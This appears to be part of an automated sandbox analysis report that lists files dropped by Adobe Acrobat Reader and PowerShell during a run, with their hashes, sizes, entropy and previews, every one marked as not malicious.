SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfYdPeUkwRe9:YvXKXZvLT5LjIPaGg8Ukee9
MD5:	9DF16AEE5363B9D2B1E5A6DABF9E0525
SHA1:	DCBE28C0DF4C02D192A3F060F074F7B0DC81DD32
SHA-256:	7A0F3DF03782B043377D423F320386F1AAE5552429AF5527959D8C8FAC5DCD7B
SHA-512:	41D13334C88C17A173C1081EE5CC3F7D78A2D96272746B59AF1F5961E0AEA462D3552401B41D7B939C780EB79F9B93A6BF786415464C47750A27E498A872CAFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.32683964000402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJf+dPeUkwRe9:YvXKXZvLT5LjIPaG28Ukee9
MD5:	248A45D3F546B11021A4884FC32320ED
SHA1:	E9F9D6451959A7880C4DC83782874F76CBD25E26
SHA-256:	1661E869A653DA8A60847EB05BD658462940B30404A4D1705EAE09AEBB3A2942
SHA-512:	3134FB04B9F422D00BCDF55897FD22769EFF2E2A5560323583C3E357A29611BA28FE660F12ABE97376313A58F8CCDFF8313E0FD0022E572C841913F4CBCB4FC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.323355179733815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfbPtdPeUkwRe9:YvXKXZvLT5LjIPaGDV8Ukee9
MD5:	59ABD1CBA0C61A615E2AC085F650649E
SHA1:	ABCFDC082411C25B446DFA5A7CFC92DC1FFBEE8C
SHA-256:	0BB64599EE3A21F22CB2BF2F68B31CFE0326171600FCE4BA2D91D110B7A12012
SHA-512:	3C5DEF14BF6A7C2318F17011B895C53021A1E4A6F88FB342AD8C14DD53394A8E5C702D42592DCA7FCBF24D62686FF5562A59EAA7E282F7166246C97BAF7DC054
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.315334554244146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJf21rPeUkwRe9:YvXKXZvLT5LjIPaG+16Ukee9
MD5:	4D86D21D0E9BF364350C471BF9E5C6E3
SHA1:	B6E71C6B7183D6B4E29DC42F5872A8115EC74A45
SHA-256:	59B7DF05F9D3DFB324BCC450BDA114D54F32054C99295C2B5E33F5B48C026E2A
SHA-512:	CDDFF6B9BE8CCB8051FF51C10D56460033C3F21DEC3435B68FC592DB17001989F5CF6182D39C94B158F2A4011CECA26FA0AD6506A938E7D098DA216C09C0FF8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.672933464823151
Encrypted:	false
SSDEEP:	24:Yv6XhT5XIXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSWY:YvOXkBgkDMUJUAh8cvMf
MD5:	46573C1F6915B029613A16EF648DFD5E
SHA1:	14E71C48355B19987BCEDD1B8F47133F85D9D95C
SHA-256:	D8E0ED1271D4325D8DA227519E00D4B2371E0A4999B5C247C267DA903D6DF884
SHA-512:	42FACAB80354D780DA4ED3CEEEA1FB1DD5B1FEEEA31C29831D828E36468AD21D3B14E6E822C53695CD02E6064A2624702B303BB8C69C3D10BF2C3233E8E4D781
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.290581235666043
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJfshHHrPeUkwRe9:YvXKXZvLT5LjIPaGUUUkee9
MD5:	3A36A6F9697B16E6AD3FB40AC2C29A7C
SHA1:	58348F27D2EE9EF1872EBEEC2AA15F3B79EB7995
SHA-256:	C6D523EB2B70CDA3AB2B493F8BA42375E94A5310BD471713AA92083AC2071B06
SHA-512:	02CABB69C1C1A7CF90CB59576476F6434B3460DB6318F8BC3E53480F5A0F69FA42CF1328C70919F3ADBF88BEF989BEC97E3A53ABA1BED2447C6226F5B5E5D371
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.293655136429332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZvNWmSg1c2LjcWkHvR0YBoAvJTqgFCrPeUkwRe9:YvXKXZvLT5LjIPaGTq16Ukee9
MD5:	579E383F1881556F313A247CA3435EB1
SHA1:	5C5BEF90C587B54D078914CC5CC3DB7D7A389E40
SHA-256:	C1AE39F7DE82B55770A8B6B649953BF4E483D7902C8A9689304D6F103C16E561
SHA-512:	9B65D0DCED307374DB2AC50DB9292FED5C65D3477623D5F6B7FC781032BD25BCEC7348ED15FDC7A5424F92BC8E56F6C492865E8228450111B2200E375503AE28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ce3583b1-7b8f-4db0-b0b6-3f87210cf6b7","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736725655335,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140172002870575
Encrypted:	false
SSDEEP:	24:YQdUEa+h3ayAz2tGJfmgraMSUMjyJj0SM8I2U2LS+CWaxjNra2tMhH5z5AYU94b+:Ys8JfQJ8m1oEjk2tofAYU94y
MD5:	780DE281779602403540AD1B74C8C658
SHA1:	3073BDCA4C42943FDD7080F75A3EECEAE21E05F3
SHA-256:	B2C0E264D06C545A21D1E175DB4EB59027F46DF9ED7A4C7A4B6E5E95DCD247F4
SHA-512:	7960F206B58C148E75A889FCDE43344516A2B8CE079FC7217175C426CAC93B7B3DB2F39F6BF0246EF8844808761DC96FAF75268CF3571C2B3617560BD0A942FA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3c85360f4b77729dfa77d749eed6d0a3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549194000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ac92b2e7e25e13f8aee67aaa04cffe35","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549194000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c84e65a2f887e0438d99a4872294cd96","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549194000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"99050b85527fb246a785fbe6f058fb0f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549194000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"37ecaa42336076badfcea20f4855c0eb","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549194000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a4db08707977cffaabfb74d226d7bf71","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3660141510174972
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDu6eGjXKdqEKfS8EKfM1bayeGjF:Tll2GL7msMcKTlS8fcsu6eGAfIyeGJ
MD5:	EBF59B17042FE25B9AA989670A0B06DA
SHA1:	D117B1EE0390E60240C0CE6AECDCAE5C095160BE
SHA-256:	96450EE2DEB8B7ED006699183260C671053D5F2636A87B21406BBFCC808E3F37
SHA-512:	0EB204F04A7AF03A8A804FB8E07276B4F949E9711EF64DD76645218C573CC2496B33B3F82068757866ACA6E819C92DDB4515A5A00DC78E56DF92F8543C34021E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8430828131054626
Encrypted:	false
SSDEEP:	24:7+t6tZ6bqyKn6ylSTofcNqDu6eGj+KdqEKfS8EKfM1banbqCqLKufx/XYKQvGJF0:7MOcKTlS8fcsu6eGRfIPqGufl2GL7msk
MD5:	58F11684A861628C97C91FFD6D25A954
SHA1:	03DEC35D64F266BBD9BE7E1726C8BE2F6CD94C9B
SHA-256:	F0DB438ACB5775376D0DEEFF5008530C4C3B6C6E0E8935039DAFE040A4EC1F3C
SHA-512:	E812E4D71947D6D1038436A3FEEF8AB24CC1B387720F456E24866FD30E1A2BEA1CB16C30D0E95D4D79F86D53AB6B05DC885988F69341E73F8F978F5493B78BA1
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOLtv1lj3xSvYZiLlOKQ2e6FL7Yyu:6a6TZ44ADEOZr3MYsL4KuoK
MD5:	F72F523BB55B9BE52071DF9472951A80
SHA1:	08E393F167FA7D6B5970FBA261DCDAA345113EAD
SHA-256:	BDB9D6B32E2B0250950A9BABFBA70648A7E433BB83D25BE192ABC61410AA0B87
SHA-512:	E3FE11F2FF9FA27A6EBA7B937E656DA55E9E6F0BF66630E43C87FDF89FC7E58434ED386718F126E383286B525387CD08319E56BE48AAA6F13C7CF5BBD757AB88
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI65968.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.529459928009153
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEfl:Qw946cPbiOxDlbYnuRK+bDN
MD5:	D8287D58F730FA062BC40F1D1B7232FE
SHA1:	208D7FEDB1EAFAFC6818B3D022C3173FEBC8DCC9
SHA-256:	BFF50D9C2AB6194C5FB4D8196C14135812873925C9E5542E79460A014426693E
SHA-512:	C786FECCC2793AFC479B95AD704800293F7D660E6D0B90B56613450CC5C20F18811BFDAF44F9FC9EFEEA9A9A31D66E5C078DFE3756FC55181327C9BDE2F0F3B2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.4.6.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwiapdix.h0e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qi4htw2h.jjk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-46-29-180.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3694549120566775
Encrypted:	false
SSDEEP:	384:V8Q5okNaNR6zqYP6BaYQXJAd1+xKs3UigfswO2Gu7xpzR83oIjxR6Z6Luf9O/iaQ:q7r
MD5:	B317C3F29F9C6E693A6FB7B7E9FB03C6
SHA1:	640A83E74770EBB6255E525E15A143A417347A29
SHA-256:	AFD3444C4554C00C5B687FBD221303D282DA0325D200363CC13AC83E3B847436
SHA-512:	FAD0DB3AC32B7C42B63A19DC6EFE9738050D5E4A95260B307209FDD55E4ACCFE9D20A982F59F4D24F092EE98F516FD2C09BF7061142BD606252020C5AF3894A6
Malicious:	false
Preview:	SessionID=e9d3f703-fd7c-4cc9-8104-ed72e643b9a5.1736549189204 Timestamp=2025-01-10T17:46:29:204-0500 ThreadID=7912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e9d3f703-fd7c-4cc9-8104-ed72e643b9a5.1736549189204 Timestamp=2025-01-10T17:46:29:212-0500 ThreadID=7912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e9d3f703-fd7c-4cc9-8104-ed72e643b9a5.1736549189204 Timestamp=2025-01-10T17:46:29:212-0500 ThreadID=7912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e9d3f703-fd7c-4cc9-8104-ed72e643b9a5.1736549189204 Timestamp=2025-01-10T17:46:29:212-0500 ThreadID=7912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e9d3f703-fd7c-4cc9-8104-ed72e643b9a5.1736549189204 Timestamp=2025-01-10T17:46:29:212-0500 ThreadID=7912 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389781464824896
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmGecb8IJhcbh:8qnXopZ50r69JW
MD5:	3A8F355D497BEE89A858B35E4DEF7BD2
SHA1:	721CC94CDC17BAED80DCF359BA601FC8A035E28C
SHA-256:	850795AA841820C0BB14F6D570CC6A0356B76ED20A116E2F4E81EC085D71F15A
SHA-512:	39F673A82BCF88AC1387CFDF2D09091978A04D073FEA68BAD65D1B65719A2A792144243B5BC1C00DFF70A04F40F8F6031CC33E1B779CFA36FF12CE9FDC3ED8EE
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3cc4a08a-d8bb-4525-a762-103553add093.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\91371b9d-63c6-4f68-94f4-c8d5aa856519.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/RWF4YIGNP4my07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:pWF4ZG6dxXGZN3mlind9i4ufFXpAXkru
MD5:	581F2B2BFDC63E3823D7F5CB72DBDF1C
SHA1:	7718AB490898EE3539D14C4F8813AB9A473ED0E0
SHA-256:	84280BC2FB573705BF54CD258E2C589194A1191096AFA4DE59C96914C827BB83
